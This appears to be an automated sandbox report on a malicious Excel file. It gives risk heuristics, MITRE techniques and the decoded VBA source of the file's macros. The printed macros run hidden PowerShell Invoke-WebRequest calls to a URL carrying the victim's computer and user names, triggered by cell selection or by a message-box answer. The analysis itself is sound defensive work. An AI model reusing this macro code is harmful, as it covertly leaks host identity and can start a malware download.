MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The OOXML document contains VBA macros that trigger on selection change or user interaction. These macros execute a PowerShell command using Invoke-WebRequest to download content from a dynamically constructed URL. The URL is built using environment variables, suggesting an attempt to evade static detection or personalize the download. The presence of Shell() and PowerShell references in the VBA code strongly indicates a downloader or initial execution stage.
Heuristics 4
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
If Not Intersect(Target, Range("A1:Z50")) Is Nothing Then _ Call Shell("powershell.exe -command Invoke-WebRequest -Uri https://static.rzeszow.uw.gov.pl/$env:computername/$env:username/", vbHide) End Sub -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
If Not Intersect(Target, Range("A1:Z50")) Is Nothing Then _ Call Shell("powershell.exe -command Invoke-WebRequest -Uri https://static.rzeszow.uw.gov.pl/$env:computername/$env:username/", vbHide) End Sub -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://static.rzeszow.uw.gov.pl/$env:computername/$env:username/ In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1271 bytes |
SHA-256: f17ed9b1a5d2da8e61ce38c30cc9211548c2fe3373c770a7a7020fce833242be |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Ten_skoroszyt"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Arkusz1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
If Not Intersect(Target, Range("A1:Z50")) Is Nothing Then _
Call Shell("powershell.exe -command Invoke-WebRequest -Uri https://static.rzeszow.uw.gov.pl/$env:computername/$env:username/", vbHide)
End Sub
Attribute VB_Name = "Module1"
Sub MessagesYesNoWithResponse()
If MsgBox("Do you wish to continue? ", vbYesNo) = vbYes Then
MsgBox "The user clicked Yes"
Else
Call Shell("powershell.exe -command Invoke-WebRequest -Uri https://static.rzeszow.uw.gov.pl/$env:computername/$env:username/", vbHide)
End If
End Sub
Attribute VB_Name = "Module2"
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 19968 bytes |
SHA-256: ab1e4b5d90326d5ff0a752a9d1d0c970a7b7af799b3fa49c0bc4e2dc80c3360a |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.